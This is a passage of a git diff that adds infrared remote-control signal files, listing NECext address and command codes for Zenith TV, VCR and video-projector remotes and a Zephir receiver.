+Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: INPUT_-_DBS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: VCR_PLUS_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 69 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 78 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 7D 00 00 00 +# +name: QUIT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,1.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,1.ir new file mode 100644 index 000000000..7cd97fcd6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_-_DVD +type: parsed +protocol: NECext +address: 07 01 00 00 +command: 10 00 00 00 +# +name: INPUT_-_VIDEO +type: parsed +protocol: NECext +address: 07 01 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir new file mode 100644 index 000000000..c1bb35d9e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 03 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 04 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 05 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 09 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 19 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 1E 00 00 00 +# +name: CHUP2 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 20 00 00 00 +# +name: CHDOWN2 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 21 00 00 00 +# +name: CCD +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 39 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 44 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 4C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 5B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 5C 00 00 00 +# +name: OK2 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 78 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 79 00 00 00 +# +name: MENU2 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 7E 00 00 00 +# +name: SIGNAL +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 96 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: F7 00 00 00 +command: A9 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: F7 00 00 00 +command: AA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir new file mode 100644 index 000000000..ddc467563 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: flashbk +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: surf +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: dash +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: front +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: pcin +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 65 00 00 00 +# +name: pipch+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: pipch- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: ratio +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: signal +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: comp/dvi +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir new file mode 100644 index 000000000..3756d5272 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir new file mode 100644 index 000000000..2629d8c0a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir new file mode 100644 index 000000000..8ea0781b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 09 00 00 00 +# +name: prev_chan +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 23 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 2B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 2B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 60 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 62 00 00 00 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 63 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir new file mode 100644 index 000000000..ac204966f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: <<_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: RECORD_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: AUDIO_OUT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: TV/TAPE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: >>_FAST_FORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 44 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 48 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 50 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 54 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 60 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 64 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 6C 00 00 00 +# +name: ENT/RCL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 70 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 74 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 76 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 78 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir new file mode 100644 index 000000000..4a80ddb18 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: B-MUTE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 00 00 00 00 +# +name: -_HORIZONTAL +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 02 00 00 00 +# +name: H-_PULSE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 03 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 06 00 00 00 +# +name: R-MUTE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 08 00 00 00 +# +name: +_HORIZONTAL +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0A 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0B 00 00 00 +# +name: DIG_ANALOG +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0D 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0F 00 00 00 +# +name: IN-KEY +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 10 00 00 00 +# +name: BOW +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 12 00 00 00 +# +name: IN-PIN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 13 00 00 00 +# +name: KEY +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 14 00 00 00 +# +name: G-MUTE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1A 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1B 00 00 00 +# +name: ADJ_TOGGLE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1D 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1E 00 00 00 +# +name: LIN_C_/_LI_-_LIN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir new file mode 100644 index 000000000..fc34e6745 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: QUIT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: -_VERTICAL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: LIN_T-B_/_L-R +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0F 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: +_VERTICAL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1D 00 00 00 +# +name: SKEW +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 23 00 00 00 +# +name: PIN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2B 00 00 00 +# +name: S-ING_/_W-M +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2D 00 00 00 +# +name: T/L_KEY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2F 00 00 00 +# +name: T/L_PIN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 31 00 00 00 +# +name: T/L_S +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir b/assets/resources/infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir new file mode 100644 index 000000000..32df4bdaf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: VOL+ +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 01 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 02 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 04 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 05 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 06 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 07 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 08 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0C 00 00 00 +# +name: PRG+ +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0D 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 10 00 00 00 +# +name: PRG- +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 11 00 00 00 +# +name: PRT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 12 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 14 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 16 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 17 00 00 00 +# +name: TXT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 19 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 40 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 42 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 44 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 45 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 46 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 48 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4C 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 50 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 